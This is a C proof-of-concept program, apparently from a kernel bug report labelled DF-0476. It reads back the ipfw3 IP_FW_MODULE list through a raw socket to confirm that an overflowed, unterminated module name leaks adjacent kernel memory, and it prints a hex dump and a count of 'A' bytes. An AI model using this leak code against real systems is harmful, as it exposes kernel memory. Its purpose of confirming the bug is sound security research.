DF-0476 / df0476_read.c
/* * DF-0476 userspace helper - reads back the IP_FW_MODULE list to observe * the overflowed name from the df0476_mod KLD module. * * After kldload ipfw3 + df0476_mod, the fw3_modules[] slot for module 7 * has name[] = "AAAAAAAAAAAAAAAAAAAA" (20 bytes) + 20 bytes of overflow * into the adjacent slot's type/id fields, with NO NUL terminator. When * ip_fw3_ctl_get_modules does strcat(module_str, mod->name), it reads * past name[19] until it finds a zero byte -- leaking the overflowed * bytes (and possibly adjacent kernel memory) into the returned string. * * Build: cc -o df0476_read df0476_read.c * Run: ./df0476_read */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #define IP_FW_X 49 #define IP_FW_MODULE 67 struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; } __attribute__((packed)); int main(void) { int s, rc; struct ip_fw_x_header hdr; /* getsockopt buffer; kernel writes the module name string here */ char buf[2048]; socklen_t optlen; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket RAW"); return 2; } /* IP_FW_MODULE is a GET -- use getsockopt with level IPPROTO_IP */ memset(buf, 0, sizeof(buf)); optlen = sizeof(buf); rc = getsockopt(s, IPPROTO_IP, IP_FW_MODULE, buf, &optlen); if (rc < 0) { /* fall back to the IP_FW_X wrapper */ hdr.opcode = IP_FW_MODULE; hdr._pad = 0; memset(buf + sizeof(hdr), 0, sizeof(buf) - sizeof(hdr)); optlen = sizeof(buf); /* setsockopt with IP_FW_X GET... actually IP_FW_X uses setsockopt for both get/set via the x_header. Use setsockopt. */ rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf)); if (rc < 0) { fprintf(stderr, "getsockopt IP_FW_MODULE: %s\n", strerror(errno)); return 2; } optlen = sizeof(buf); } /* Dump the raw bytes returned so we can see the overflowed name */ printf("[+] IP_FW_MODULE returned %u bytes\n", (unsigned)optlen); printf("[+] module list: '%s'\n", buf); printf("[+] hex dump of first 64 bytes:\n"); { unsigned i, j; for (i = 0; i < 64 && i < optlen; i += 16) { printf(" %04x: ", i); for (j = 0; j < 16 && i+j < optlen; j++) printf("%02x ", (unsigned char)buf[i+j]); printf(" | "); for (j = 0; j < 16 && i+j < optlen; j++) { unsigned char c = buf[i+j]; putchar((c >= 32 && c < 127) ? c : '.'); } printf("\n"); } } /* Count how many 'A's appear -- if > 20, the overflow is visible */ { int acount = 0; unsigned i; for (i = 0; i < optlen; i++) { if (buf[i] == 'A') acount++; else if (buf[i] == 0) break; } printf("[+] counted %d 'A' bytes before first NUL\n", acount); if (acount > 20) { printf("[+] BUG CONFIRMED: name field leaked %d bytes past the 20-char boundary\n", acount - 20); } else if (acount == 20) { printf("[*] exactly 20 A's - overflow may have been truncated by adjacent NUL\n"); } } close(s); return 0; } |